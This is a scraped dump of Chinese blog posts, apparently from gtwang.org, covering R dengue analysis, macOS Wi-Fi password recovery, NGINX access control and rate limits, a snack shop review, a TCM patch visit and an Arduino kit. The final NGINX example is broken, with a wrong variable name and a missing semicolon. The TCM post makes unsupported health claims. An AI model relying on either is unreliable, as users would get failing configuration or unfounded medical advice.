dengue 的 summary 輸出中可以看到行政區的名稱有一些問題，我們將 dengue.tn$區別 的 levels 列出來看一下：\nlevels(dengue.tn$區別) [1] \"安定區\" \"安南區\" \"安平區\" \"白河區\" \"北　區\" [6] \"北區\" \"大內區\" \"東　區\" \"東區\" \"東山區\" [11] \"官田區\" \"關廟區\" \"歸仁區\" \"後壁區\" \"佳里區\" [16] \"將軍區\" \"柳營區\" \"六甲區\" \"龍崎區\" \"麻豆區\" [21] \"南 區\" \"南　區\" \"南化區\" \"南區\" \"楠西區\" [26] \"七股區\" \"仁德區\" \"山上區\" \"善化區\" \"西港區\" [31] \"下營區\" \"新化區\" \"新市區\" \"新營區\" \"學甲區\" [36] \"鹽水區\" \"永康區\" \"永康區 \" \"玉井區\" \"中西區\" [41] \"左鎮區\" 部份的區別名稱有包含空白，而有些卻沒有，區別名稱不統一會造成程式將一個區域誤判為多個區域。這裡我們修正區別的名稱，統一將所有的空白去掉：\ndengue.tn[dengue.tn$區別 == \u0026#34;北　區\u0026#34;, ]$區別 \u0026lt;- \u0026#34;北區\u0026#34; dengue.tn[dengue.tn$區別 == \u0026#34;東　區\u0026#34;, ]$區別 \u0026lt;- \u0026#34;東區\u0026#34; dengue.tn[dengue.tn$區別 == \u0026#34;南　區\u0026#34; | dengue.tn$區別 == \u0026#34;南 區\u0026#34;, ]$區別 \u0026lt;- \u0026#34;南區\u0026#34; dengue.tn[dengue.tn$區別 == \u0026#34;永康區 \u0026#34;, ]$區別 \u0026lt;- \u0026#34;永康區\u0026#34; 重新建立一次 factor，這樣可以將空的 levels 去掉：\ndengue.tn$區別 \u0026lt;- factor(dengue.tn$區別) 然後再確認一次區別名稱：\nlevels(dengue.tn$區別) [1] \"安定區\" \"安南區\" \"安平區\" \"白河區\" \"北區\" [6] \"大內區\" \"東區\" \"東山區\" \"官田區\" \"關廟區\" [11] \"歸仁區\" \"後壁區\" \"佳里區\" \"將軍區\" \"柳營區\" [16] \"六甲區\" \"龍崎區\" \"麻豆區\" \"南化區\" \"南區\" [21] \"楠西區\" \"七股區\" \"仁德區\" \"山上區\" \"善化區\" [26] \"西港區\" \"下營區\" \"新化區\" \"新市區\" \"新營區\" [31] \"學甲區\" \"鹽水區\" \"永康區\" \"玉井區\" \"中西區\" [36] \"左鎮區\" 整體趨勢分析 分析全臺南市本土登革熱病例數整體分佈與趨勢。找出疫情最嚴重的時段。\n畫出每週登革熱的病例數統計圖：\nhist(as.Date(dengue.tn$確診日), breaks = \u0026#34;weeks\u0026#34;, freq = TRUE, main = \u0026#34;登革熱每週病例數\u0026#34;, xlab = \u0026#34;日期\u0026#34;, ylab = \u0026#34;病例數\u0026#34;, format = \u0026#34;%m/%d\u0026#34;) 畫出的圖形為\n計算每個月的登革熱病例數：\ndengue.tn$month \u0026lt;- format(as.Date(dengue.tn$確診日), \u0026#34;%m\u0026#34;) table(dengue.tn$month) 01 05 06 07 08 09 10 11 2 2 11 202 3023 13054 5565 393 畫圖：\nbarplot(table(dengue.tn$month), xlab = \u0026#34;月份\u0026#34;, ylab = \u0026#34;病例數\u0026#34;, main = \u0026#34;登革熱每月病例數\u0026#34;) 也可以使用 ggplot2 來畫：\nlibrary(ggplot2) library(scales) ggplot(dengue.tn, aes(x=as.Date(確診日))) + stat_bin(binwidth=7, position=\u0026#34;identity\u0026#34;) + scale_x_date(breaks=date_breaks(width=\u0026#34;1 month\u0026#34;)) + theme(axis.text.x = element_text(angle=90)) + xlab(\u0026#34;日期\u0026#34;) + ylab(\u0026#34;病例數\u0026#34;) + ggtitle(\u0026#34;登革熱每週病例數\u0026#34;) 畫出的圖形為\n從圖形上可以看出登革熱的疫情最嚴重的時期是在九月份前後。\n接下來分析疫情最嚴重的區域。計算各個行政區的病例總數：\ndengue.region.summary \u0026lt;- sort(summary(dengue.tn$區別), decreasing = FALSE) dengue.region.summary 東山區 龍崎區 後壁區 山上區 將軍區 楠西區 3 3 5 6 7 8 白河區 大內區 南化區 左鎮區 六甲區 下營區 9 9 10 10 14 15 鹽水區 柳營區 西港區 七股區 官田區 學甲區 15 18 19 21 22 27 關廟區 安定區 麻豆區 玉井區 新市區 佳里區 48 50 51 57 61 67 善化區 新營區 新化區 歸仁區 仁德區 安平區 87 103 126 179 287 875 安南區 永康區 東區 南區 中西區 北區 1831 2633 2964 3450 3455 5707 畫圖：\nbarplot(dengue.region.summary, las = 2, horiz = TRUE, main = \u0026#34;各行政區病例統計\u0026#34;, xlab = \u0026#34;病例數\u0026#34;) 畫出的圖形為\n使用圓餅圖：\npie(dengue.region.summary) 畫出的圖形為\n疫情最嚴重的五個區域依序為北區、中西區、南區、東區與永康區。\n細部分析 將資料依據地理位置與時間區分，進行細部的分析。\n將最嚴重的五個行政區病例資料篩選出來：\ndengue.top.reg \u0026lt;- dengue.tn[ dengue.tn$區別 == \u0026#34;北區\u0026#34; | dengue.tn$區別 == \u0026#34;中西區\u0026#34; | dengue.tn$區別 == \u0026#34;南區\u0026#34; | dengue.tn$區別 == \u0026#34;東區\u0026#34; | dengue.tn$區別 == \u0026#34;永康區\u0026#34;, ] 依據時間畫出這 5 個行政區的疫情變化：\nggplot(dengue.top.reg, aes(x=as.Date(確診日))) + stat_bin(binwidth=7, position=\u0026#34;identity\u0026#34;) + scale_x_date(breaks=date_breaks(width=\u0026#34;1 month\u0026#34;)) + theme(axis.text.x = element_text(angle=90)) + xlab(\u0026#34;日期\u0026#34;) + ylab(\u0026#34;病例數\u0026#34;) + ggtitle(\u0026#34;登革熱每週病例數\u0026#34;) + facet_grid(區別 ~ .) 依照月份來畫圖：\nggplot(dengue.top.reg, aes(x=as.Date(確診日))) + stat_bin(breaks=as.numeric(seq(as.Date(\u0026#39;2015-1-1\u0026#39;), as.Date(\u0026#39;2015-12-1\u0026#39;), \u0026#39;1 month\u0026#39;)), position=\u0026#34;identity\u0026#34;) + scale_x_date(breaks=date_breaks(width=\u0026#34;1 month\u0026#34;)) + theme(axis.text.x = element_text(angle=90)) + xlab(\u0026#34;日期\u0026#34;) + ylab(\u0026#34;病例數\u0026#34;) + ggtitle(\u0026#34;登革熱每月病例數\u0026#34;) + facet_grid(區別 ~ .) 看起來這 5 個區域最嚴重的時間都在 9 月中旬附近。\n依據月份區分，畫出每個月的登革熱病例分佈地圖。\nmap \u0026lt;- get_map(location = c(lon = 120.246100, lat = 23.121198), zoom = 10, language = \u0026#34;zh-TW\u0026#34;) ggmap(map, darken = c(0.5, \u0026#34;white\u0026#34;)) + geom_point(aes(x = 經度座標, y = 緯度座標), color = \u0026#34;red\u0026#34;, data = dengue.tn) + facet_wrap(~ month) 定點分析 假設某人居住在台南市，其住家的經緯度座標為 (22.997088, 120.201771)，而登革熱病媒蚊飛行活動範圍可遠至 400 ～ 800 公尺的地區，將此人住家 400 公尺以內的病例資料篩選出來，觀察每個月的疫情變化。\n這是計算地球上兩點之間距離的函數，輸入兩點的經緯度，可以計算出兩點之間的距離，單位為公里。\nearthDist \u0026lt;- function (lon1, lat1, lon2, lat2){ rad \u0026lt;- pi/180 a1 \u0026lt;- lat1 * rad a2 \u0026lt;- lon1 * rad b1 \u0026lt;- lat2 * rad b2 \u0026lt;- lon2 * rad dlon \u0026lt;- b2 - a2 dlat \u0026lt;- b1 - a1 a \u0026lt;- (sin(dlat/2))^2 + cos(a1) * cos(b1) * (sin(dlon/2))^2 c \u0026lt;- 2 * atan2(sqrt(a), sqrt(1 - a)) R \u0026lt;- 6378.145 d \u0026lt;- R * c return(d) } 篩選出 400 公尺以內的病例資料：\nhome.pos \u0026lt;- c(22.997088, 120.201771) # (緯度, 經度) home.dist \u0026lt;- earthDist(dengue.tn$經度座標, dengue.tn$緯度座標, home.pos[2], home.pos[1]) home.idx \u0026lt;- home.dist \u0026lt;= 0.4; dengue.home \u0026lt;- dengue.tn[home.idx, ] 查看每個月的資料狀況：\ntable(dengue.home$month) 05 07 08 09 10 11 2 1 42 309 119 5 畫成圖形：\nbarplot(table(dengue.home$month), xlab = \u0026#34;月份\u0026#34;, ylab = \u0026#34;病例數\u0026#34;, main = \u0026#34;登革熱每月病例數（特定區域）\u0026#34;) 每個月的病例分佈：\nmap \u0026lt;- get_map(location = c(lon = home.pos[2], lat = home.pos[1]), zoom = 16, language = \u0026#34;zh-TW\u0026#34;, color = \u0026#34;bw\u0026#34;) ggmap(map) + geom_point(aes(x = 經度座標, y = 緯度座標), color = \u0026#34;red\u0026#34;, data = dengue.home, size = 5) + facet_wrap(~ month) 由於經緯度資料的精確度不足，造成大量的資料點重疊，因此改用 jitter 的方式畫圖：\nmap \u0026lt;- get_map(location = c(lon = home.pos[2], lat = home.pos[1]), zoom = 16, language = \u0026#34;zh-TW\u0026#34;, color = \u0026#34;bw\u0026#34;) ggmap(map) + geom_jitter(aes(x = 經度座標, y = 緯度座標), size = 3, position = position_jitter(w = 0.0005, h = 0.0005), data = dengue.home, color = \u0026#34;red\u0026#34;) + facet_wrap(~ month) 這樣可以比較清楚呈現資料的分布狀況：\n假設今天是 2015 年 9 月 15 日，在地圖上畫出此人住家 400 公尺以內，2 週之內新增的病例分佈地圖。\n篩選出此人住家 400 公尺以內，兩週之內新增的病例：\ndengue.home$day.diff \u0026lt;- as.numeric(as.Date(dengue.home$確診日) - as.Date(\u0026#34;2015/09/15\u0026#34;)) dengue.home.subset \u0026lt;- dengue.home[dengue.home$day.diff \u0026gt;= 0 \u0026amp; dengue.home$day.diff \u0026lt; 14, ] 依照時間決定顏色畫圖：\nmap \u0026lt;- get_map(location = c(lon = home.pos[2], lat = home.pos[1]), zoom = 16, language = \u0026#34;zh-TW\u0026#34;, color = \u0026#34;bw\u0026#34;) ggmap(map) + geom_jitter(aes(x = 經度座標, y = 緯度座標, color = day.diff), size = 3, position = position_jitter(w = 0.0005, h = 0.0005), data = dengue.home.subset) + scale_colour_gradientn(colours=heat.colors(3)) 參考資料 Using R: barplot with ggplot2 Plot Weekly or Monthly Totals in R Quick-R Rotating x axis labels in R for barplot ","permalink":"https://blog.gtwang.org/r/analyze-2015-dengue-epidemic-in-tainan-using-r/","summary":"\u003cp\u003e這裡使用 R 來分析 2015 年臺南市本土登革熱疫情狀況。\u003c/p\u003e\n\u003cp\u003e今年台灣的登革熱疫情很嚴重，台南地區的病例更突破兩萬人，以下我們利用 R 來分析台南市的登革熱疫情。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e","title":"使用 R 分析 2015 年臺南市本土登革熱疫情狀況"},{"content":"這裡介紹如何在忘記 WiFi 無線網路密碼時，從 Mac OS X 中找出儲存在系統中的密碼，省去重新設定的麻煩。\n現在的手機或是筆電等設備都有記憶密碼的功能，平常我們都不需要手動輸入密碼，而時間一久，忘記自己設定的 WiFi 網路密碼是常有的事情，若在一般的 PC 中我們可以從 Windows 系統中找回忘記的 WiFi 密碼，而在 Mac OS X 系統上也一樣可以，以下是操作步驟。\nStep 1\n首先按下「Ctrl」加上空白鍵，搜尋「keychain」關鍵字，尋找「鑰匙圈存取」。\n當然您也可以從應用程式中尋找，不過因為這個應用程式不是很常用，用搜尋的會比較快。\nStep 2\n開啟「鑰匙圈存取」之後，在左邊的類別中選擇「密碼」，然後找尋 802.1X 的無線網路密碼。\nStep 3\n找到無線網路密碼之後，從右鍵選單中點選「將密碼拷貝到剪貼簿」。\nStep 4\n因為密碼是屬於機密資訊，在拷貝之前要輸入系統的密碼，然後按下「允許」。\nStep 5\n除了複製到剪貼簿之外，也可以直接打開這個密碼屬性視窗，點選「顯示密碼」，這樣也可以看到儲存在系統內部的密碼。\n參考資料 HTG ","permalink":"https://blog.gtwang.org/mac-os/how-to-recover-a-forgotten-wi-fi-password-in-os-x/","summary":"\u003cp\u003e這裡介紹如何在忘記 WiFi 無線網路密碼時，從 Mac OS X 中找出儲存在系統中的密碼，省去重新設定的麻煩。\u003c/p\u003e\n\u003cp\u003e現在的手機或是筆電等設備都有記憶密碼的功能，平常我們都不需要手動輸入密碼，而時間一久，忘記自己設定的 WiFi 網路密碼是常有的事情，若在一般的 PC 中我們可以\u003ca href=\"/windows/recover-wifi-network-router-password/\"\u003e從 Windows 系統中找回忘記的 WiFi 密碼\u003c/a\u003e，而在 Mac OS X 系統上也一樣可以，以下是操作步驟。\u003c/p\u003e","title":"在 Mac OS X 中找回忘記的 WiFi 無線網路密碼"},{"content":"這裡討論 Wi-Fi 無線網路與有線以太網路的差異，到底該使用哪一種網路比較好？\n現在的電腦、手機、平板以及各種可以上網的設備，上網的方式慢慢都從傳統的有線以太網路轉為 Wi-Fi 無線網路，省去了一大堆雜亂的網路線，而且在 Wi-Fi 收訊範圍內的任何地方都可以上網，比起傳統有線網路方便許多，像我個人的桌上型 iMac，雖然有以太網路的插孔，但是因為無線網路實在太方便了，所以我用了好幾年，從來都不插網路線的。\nWi-Fi 無線網路在使用上顯然會比傳統有線網路方便許多，但是有線網路在某些方面還是有它的優勢存在，例如高傳輸速度、低延遲時間，以及沒有無線網路的訊號干擾問題。\n您大概不會嘗試將手機接上有線網路，但是對於桌上型電腦、筆記型電腦或是其它可以上網的設備而言，我們就有兩種選擇了，到底應該使用有線網路還是無線網路呢？\n速度（Speed） 有線以太網路（Ethernet）的速度無庸置疑的一定是比無線網路快，只不過在實際生活上，它們兩者之間的差異可能不如大家所想像的那樣明顯。\n以前舊的 802.11g 無線網路標準只能提供 54 Mb/s 的速度，這種速度對於某些人而言可能不太夠快，而現在新的 802.11ac 的傳輸速度已經可以達到 866.7 Mb/s，這樣的速度已經超過絕大部份人會使用的上網速度，以中華電信的高速光世代而言，網頁上最快的方案是 500M/250M，上下行的流量加起來都還沒有超過 802.11ac 的速度，也就是說現在最新的無線網路跟有線網路比較起來，速度上的差異已經不是很明顯了，網路傳輸速度的瓶頸通常都會出現在對外的網路連線上。\n穩定性（Stability） 有線網路的穩定性正常來說都會比無線網路好，由於有線網路的設備通常都是很固定，就算有訊號衰減或干擾問題，也比較容易解決，而且通常這類的問題只要處理一次，日後就可以非常穩定的持續使用。\n對於無線網路來說，由於設備通常是可移動的，訊號可能會因為牆壁、障礙物或是樓板的阻擋而衰減，加上也可能會有外來的訊號干擾問題，所以無線網路的穩定性通常不如有線網路來得好。\n以下是一個簡單的測試，我分別透過無線網路與有線網路來 ping 同一台 IP 分享器，比較反應時間的差異。首先使用一台 Linux 的筆記型電腦，放在 IP 分享器旁邊使用無線網路來測試：\n連續測試兩分鐘，測試出來的平均反應時間是 2.395 ms，最大值為 21.540 ms。接著我把這一台筆記型電腦移到隔壁房間，用無線網路再測試一次：\n放在隔壁房間之後，訊號就差很多了，平均反應時間掉到 31.165 ms，而最大值則升高到 697.156 ms。\n最後我用一台樹莓派（Raspberry Pi）直接用有線的網路接在 IP 分享器旁邊做測試：\n平均反應時間只有 0.702 ms，最大值為 6.896 ms，使用有線的乙太網路的品質還是最穩定的。\n安全性（Security） 在有線網路上傳輸的資料通常比較安全一些，這些資料只能夠被實體連接上有線網路的設備存取，而在無線網路上傳輸的資料就不一樣，由於無線網路的資料是透過無線電波傳遞的，在附近的任何人都可以收到這些訊號，如果是使用免費的開放性網路（例如咖啡廳的免費網路），這些資料都可以很輕易的被攔截。\n目前大部分的無線網路都會有加密的機制，但安全性如何還要看所使用的加密方式而定，WEP 是最不安全的加密方式，而 WPA2-PSK 的加密方式則比較安全，也是目前比較推薦的，如果是自家的無線網路，請記得使用比較好的加密方式，確保資料安全。\n該選擇無線網路或有線網路？ 對於一般日常上網的使用而言，無線網路的表現應該不會比有線網路差，重點是無線網路不需要牽線，會方便許多，但如果您的網路中有非常多的設備，而且需要互相傳送很大量的資料時，使用有線網路通常會有比較好的表現，至於實際情況如何，還是要測試過才知道，我們可以透過 speedtest.net 這類的測試網站來比較不同的網路環境對於自己上網速度的的影響，另外如果是本地端的設備間互傳資料，也可以從資料的傳輸速度上來比較。\n如果對於安全性非常在意的使用者，可以選擇有線的乙太網路，縱使無線網路有各種安全的加密方式，但有線網路以實體隔離的方式還是最安全的。\n無線網路與有線網路的選擇還是要看個人的需求而定，無線網路很方便，但是訊號可能不太穩、或是存在安全性疑慮，有線網路穩定又安全，但是佈線很麻煩，以我個人而言都是以方便性為優先考量，如果放在數據機與路由器旁邊的電腦，就直接插有線網路，至於其他地方的設備就一律使用無線網路，除非無線網路的訊號不良，才做其他考慮。\n參考資料 HTG makeuseof ","permalink":"https://blog.gtwang.org/tips/wi-fi-wireless-vs-ethernet-how-much-better-is-a-wired-connection/","summary":"\u003cp\u003e這裡討論 Wi-Fi 無線網路與有線以太網路的差異，到底該使用哪一種網路比較好？\u003c/p\u003e\n\u003cp\u003e現在的電腦、手機、平板以及各種可以上網的設備，上網的方式慢慢都從傳統的有線以太網路轉為 Wi-Fi 無線網路，省去了一大堆雜亂的網路線，而且在 Wi-Fi 收訊範圍內的任何地方都可以上網，比起傳統有線網路方便許多，像我個人的桌上型 iMac，雖然有以太網路的插孔，但是因為無線網路實在太方便了，所以我用了好幾年，從來都不插網路線的。\u003c/p\u003e","title":"Wi-Fi 無線網路與有線以太網路，該用哪一種比較好？"},{"content":"台南新市區的土地公臭豆腐是一家老字號的臭豆腐店，在南科附近談到臭豆腐一定少不了這一家。\n在南科附近的臭豆腐應該就是這一家土地公臭豆腐最有名，加上它是經營很久的老店，所以平常的生意都很不錯。\n這家臭豆腐的位置在民生路上，剛好是新市到南科之間必經的要道，所以只要是在南科上班的人，通常都會知道這家店。這家店很特別的一點是店中央有一棵大樹。\n這是門口的招牌，而它的斜對面就是土地公廟。\n這是店門口的樣子，因為我今天是中午時間去，人還沒有很多，通常晚一點接近晚餐時，都會很多人。\n這裡的臭豆腐大份的是 60 元，小份的則是 40 元。這裡的臭豆腐有分葷食與素食的，素食者請記得事先告知老闆自己要點的是素食的，素食與葷食的醬料不同，葷食的會加蔥蒜等佐料。\n這是店內的座位，大約有十張桌左右。\n今天是自己一個人來吃，因為食量不大，所以點一盤小份的臭豆腐。\n它的臭豆腐感覺不會很油，我看許多人來這裡吃都會一人點一盤大份的，配上泡菜就當作一餐了。\n它的醬汁帶有一點酸酸甜甜的，口味很特別，配上脆脆的泡菜，還蠻好吃的，我剛來到新市的時候，常常來吃。\n這裡的臭豆腐不太會臭，炸過的臭豆腐裡面也還非常的嫩。\n這是土地公臭豆腐的名片。\n店名：新市土地公臭豆腐\n地址：臺南市新市區民生路 27 號\n","permalink":"https://blog.gtwang.org/life/earth-god-vegetarian-stinky-tofu-xinshi-tainan/","summary":"\u003cp\u003e台南新市區的土地公臭豆腐是一家老字號的臭豆腐店，在南科附近談到臭豆腐一定少不了這一家。\u003c/p\u003e\n\u003cp\u003e在南科附近的臭豆腐應該就是這一家土地公臭豆腐最有名，加上它是經營很久的老店，所以平常的生意都很不錯。\u003c/p\u003e","title":"[台南新市素食] 土地公臭豆腐：近南科素食小吃，素食可用"},{"content":"這裡介紹如何設定 NGINX 網頁伺服器，加上密碼認證與限制可存取的 IP 位址，並控制頻寬與連線數。\n在 NGINX 伺服器中若要限制只有特定的使用者可以瀏覽網頁的話，可以使用帳號與密碼認證的方式，或是設定可存取網頁的來源 IP 位址，以下是設定的步驟教學。\nNGINX 帳號與密碼認證 auth_basic 可以啟用 HTTP Basic Authentication，讓使用者透過帳號與密碼進行認證，而儲存帳號與密碼的檔案則是使用 auth_basic_user_file 來指定：\nlocation / { auth_basic \u0026#34;closed site\u0026#34;; auth_basic_user_file conf/htpasswd; } auth_basic_user_file 所指定的帳號與密碼檔案格式如下：\n# 這是註解 name1:password1 name2:password2:這是註解 name3:password3 而密碼的部分要先經過編碼，可以使用 Apache 所提供的 htpasswd 指令來產生，或是使用 openssl：\nopenssl passwd 執行這行指令之後，再輸入兩次要設定的密碼，就會產生經過編碼的密碼，例如 12345 經過編碼後會像這樣：\nA5F0pZqTMG1ks 再把這個經過編碼的密碼放進帳號與密碼的檔案中，\ngtwang:A5F0pZqTMG1ks 這樣就新增了一個 gtwang 帳號，而密碼為 12345。\n如果要整個網站都受到帳號與密碼的保護，但開放一些特定目錄可以不需要帳號與密碼，則可以在不需要帳號與密碼的路徑中把 auth_basic 設定為 off：\nserver { auth_basic \u0026#34;closed website\u0026#34;; auth_basic_user_file conf/htpasswd; location /public/ { auth_basic off; } } 這樣使用者在瀏覽所有 /public/ 之下的網頁都不需要輸入帳號與密碼。\nNGINX 限制可存取的 IP 位址 allow 與 deny 可以設定允許與禁止存取網頁的來源 IP 位址，設定的方式跟 Apache 一樣，列在上方的規則會優先執行：\nlocation / { deny 192.168.1.2; allow 192.168.1.1/24; allow 127.0.0.1; deny all; } 這樣的設定會禁止 192.168.1.2 這個來源 IP 位址存取網頁，並允許其它所有 192.168.1.1/24 網段的 IP 位址的存取，另外也允許本機（127.0.0.1）存取，除了上述的來源之外，一律禁止存取。\n除了 IPv4 之外，也可以使用 IPv6，用法皆相同：\nlocation / { deny 192.168.1.1; allow 192.168.1.0/24; allow 10.1.1.0/16; allow 2001:0db8::/32; deny all; } 接下來要介紹 NGINX 的頻寬與連線數控制，請繼續閱讀下一頁。\nNGINX 頻寬與連線數控制 對於負載量比較高的伺服器，可以設定每一位使用者可使用的資源上限，例如同時間最大連線數、連線頻率（每秒或每分鐘連線次數）以及下載速度。\n同時間最大連線數 若要限制同時間最大連線數，首先要使用 limit_conn_zone 定義一個 key 與 zone 參數：\nlimit_conn_zone $binary_remote_addr zone=addr:10m; 這裡定義一個名為 addr 的 zone，空間大小是 10MB，worker 行程會使用這個 zone 所配置的共享記憶體空間來儲存 key 的計數值。這裡的我們使用 $binary_remote_addr 來作為判斷來源 IP 的依據（key），會使用這個二進位的變數來作為 key 是因為它跟一般的字串比起來，會比較省空間，如果 zone 所配置的共享記憶體空間用完了，那伺服器就會回傳 503（Service Temporarily Unavailable）的錯誤訊息。\n接著再使用 limit_conn 指定一個 IP 同時間可以允許的最大連線數：\nlocation /download/ { limit_conn addr 1; } 以上的設定只有對於來源 IP 做限制，如果要設定整台伺服器所有連線的上限值，可以這樣設定：\nhttp { limit_conn_zone $server_name zone=server:10m; server { limit_conn server 1000; } } 這樣就可以把伺服器同時能夠接受的連線數上限設定為 1000。\n由於在 NAT 之內的所有設備會共享一個對外 IP 位址，若以 IP 位址限制使用資源的方式，會造成 NAT 之下的所有設備共享單一 IP 位址的資源限制，這一點在制定規則時需要納入考慮。\n連線頻率 若要限制連線頻率，首先也是一樣要用 limit_req_zone 定義 key 與 zone 參數：\nlimit_req_zone $binary_remote_addr zone=one:10m rate=1r/s; 這裡除了定義 zone 的名稱與大小之外，還加上了一個 rate 指定連線頻率的上限，單位可以使用每秒的連線次數（r/s）或是每分鐘的連線次數（r/m），例如若要指定每分鐘不可超過 30 次連線，則設定為 30r/m。\n然後在需要限制連線頻率的地方加上 limit_req 的設定：\nlocation /search/ { limit_req zone=one burst=5; } 這裡的 zone 就指定成剛剛上面定義的 zone 名稱，如果使用者所發出的連線頻率超過上限時，多出來的連線會先被放在伺服器的佇列中，等候一小段時間之後再處理，維持整體的連線頻率不會超過設定的上限，而 burst 參數是設定這個佇列的長度，如果連線數多到連佇列都放不下時，就會產生 503 的錯誤。\n如果不想讓放在佇列中的請求延遲處理，可以加上 nodelay：\nlimit_req zone=one burst=5 nodelay; 下載速度 若要限制每個連線的頻寬，可以使用 limit_rate：\nlocation /download/ { limit_rate 50k; } 在這樣的設定之下，每一個連線的下載速度最高不可超過每秒 50KB，但一個使用者可以同時開啟多條連線，如果需要限制連線數，可再加上 limit_conn 的限制條件：\nlocation /download/ { limit_conn addr 1; limit_rate 50k; } 如果要讓使用者可以先下載一部份的資料，再進行連線頻寬的限制，可以使用 limit_rate_after：\nlimit_rate_after 500k; limit_rate 20k; 這樣的設定可以讓使用者先下載 500KB 的資料之後，再進行限速，這通常會用在線上影音串流的網站，先讓使用者快速下載影音檔的表頭，然後再以正常的速度傳送串流資料，確認使用者是以串流的形式觀看，而不是直接下載。\n以下是一個實際應用的範例，這個設定可讓一般的網頁同時可以接受 5 條連線（一般的瀏覽器通常最多使用 3 條），而在下載 /download/ 之下的檔案時，一次只能下載一個檔案，1MB 以下的檔案不限速，超過 1MB 的檔案則限速每秒 50KB。\nhttp { limit_conn_zone $binary_remote_address zone=addr:10m server { root /www/data; limit_conn addr 5; location / { } location /download/ { limit_conn addr 1; limit_rate_after 1m; limit_rate 50k; } } } 參考資料 NGINX ","permalink":"https://blog.gtwang.org/linux/nginx-restricting-access-authenticated-user-ip-address-tutorial/","summary":"\u003cp\u003e這裡介紹如何設定 NGINX 網頁伺服器，加上密碼認證與限制可存取的 IP 位址，並控制頻寬與連線數。\u003c/p\u003e\n\u003cp\u003e在 NGINX 伺服器中若要限制只有特定的使用者可以瀏覽網頁的話，可以使用帳號與密碼認證的方式，或是設定可存取網頁的來源 IP 位址，以下是設定的步驟教學。\u003c/p\u003e","title":"NGINX 設定密碼認證與限制可存取的 IP 位址，控制頻寬與連線數"},{"content":"本篇是我們家今年去貼中醫「三九貼」的過程紀錄，大人與小孩都是第一次貼。\n中國古代人長期觀測天氣變化，總結出「冷在三九，熱在三伏」的規律，所謂的「三九」是指從冬至後的三個九天，這段時間是一年中最寒冷的時候，此時陽氣斂藏，氣血不暢，皮膚乾燥，毛孔閉塞，而中醫的「三九貼」則是在這段時間以辛溫去痰的中藥材敷貼特定穴位，改善過敏體質的方法，有助於預防冬季感冒、改善過敏性鼻炎、氣喘、減少慢性呼吸道疾病，並提升提升免疫力。\n因為三九貼是貼在背部，去中醫診所貼的時候衣服要穿寬鬆一點的會比較方便，尤其是領子不要太緊。\n因為這個藥材都是辛溫去痰的中藥材，貼上去會有輕微的灼熱感，身體循環也會變好。\n我們家阿玄已經五歲了，也可以貼，小孩子貼的時間建議大約是二至三小時，而大人則是可以貼到四至五個小時，但不要貼著睡覺，以免皮膚受傷。\n這是三九貼治療卡。\n如果貼了三九貼會感覺有很不舒服燒灼感，或是對於藥布過敏的話，就不適合繼續貼。\n我們今年是去新營的祐安中醫診所貼的，以下是診所的資訊。\n診所：祐安中醫診所\n電話：(06) 633-6558\n地址：台南市新營區民族路 330 巷 56 號（普憲精舍對面）\n這是從祐安中醫診所拿的三九貼說明。\n參考資料 奇美醫院 ","permalink":"https://blog.gtwang.org/life/tcm-three-nine-patch/","summary":"\u003cp\u003e本篇是我們家今年去貼中醫「三九貼」的過程紀錄，大人與小孩都是第一次貼。\u003c/p\u003e\n\u003cp\u003e中國古代人長期觀測天氣變化，總結出「冷在三九，熱在三伏」的規律，所謂的「三九」是指從冬至後的三個九天，這段時間是一年中最寒冷的時候，此時陽氣斂藏，氣血不暢，皮膚乾燥，毛孔閉塞，而中醫的「三九貼」則是在這段時間以辛溫去痰的中藥材敷貼特定穴位，改善過敏體質的方法，有助於預防冬季感冒、改善過敏性鼻炎、氣喘、減少慢性呼吸道疾病，並提升提升免疫力。\u003c/p\u003e","title":"中醫冬至三九貼：改善過敏體質、氣喘、慢性咳嗽、反覆感冒、提升免疫力"},{"content":"本篇是奧松機器人 RobotBase 愛上 Processing 互動入門套件開箱文。\n這套「愛上 Processing 互動入門套件」是配合 Getting Started with Processing（作者為 Casey Reas 與 Ben Fry）這本書所設計的，在這本書的第 11 章有介紹到 Processing 結合 Arduino 的使用方式，但是介紹不多，這個互動入門套件剛好可以作為輔助的教材。\n以下是簡單的開箱介紹，最外層是紙盒。\n打開紙盒後，裡面是一個塑膠盒。\n這是所有的零件。\n還有一條連接 Arduino 與電腦用的 USB 線，我忘記放進來拍了，不過 USB 線也沒什麼特別的，另外右邊那一片 Carduino UNO R3 控制板剛買來的時候也是有袋子裝著的，但是因為之前急著先拿出來測試，袋子被我不小心先丟掉了，所以就只能這樣拍了。\n這是 RobotBase Carduino UNO R3 控制板，相容 Arduino UNO R3。\n連接感測器用的擴展版（Sensor Shield for Arduino v5.0）。\n這些是各種的感測器，有些感測器有好幾個，我只拿一個放進來拍攝。\n這是把各種感測器拆封後，放進收納盒的樣子，這樣整理起來很方便。\n這是所有零件的清單，\n這種套件的好處是它包含各種設計好的教學專案，除了完整的程式碼之外，還有說明文件與教學影片，可以讓沒有基礎的初學者比較好上手。\n這是使用手冊的 PDF 檔。\n這是各種的範例程式。\n範例程式都是用 Processing 來寫的，可以直接用 Processing 開啟並執行。\n另外教學光碟中也有一些教學影片，這個對於完全沒基礎的人會有一些幫助。\n這種套件的好處是對於初學者比較容易上手，它包含了一些常用的感測器與設計好的教學專案，讓使用者可以快速學習並進行實際實作，但缺點就是所有感測器都包在一起，沒辦法自己選購想要的感測器，如果是有經驗的開發者應該就比較不需要這樣的教材，直接去買自己需要的感測器零件就可以了。\n","permalink":"https://blog.gtwang.org/iot/robotbase-getting-started-with-processing-kit/","summary":"\u003cp\u003e本篇是奧松機器人 RobotBase 愛上 Processing 互動入門套件開箱文。\u003c/p\u003e\n\u003cp\u003e這套「愛上 Processing 互動入門套件」是配合 Getting Started with Processing（作者為 Casey Reas 與 Ben Fry）這本書所設計的，在這本書的第 11 章有介紹到 Processing 結合 Arduino 的使用方式，但是介紹不多，這個互動入門套件剛好可以作為輔助的教材。\u003c/p\u003e","title":"[開箱] 奧松機器人 RobotBase 愛上 Processing 互動入門套件"},{"content":"本篇是 Fluke 101 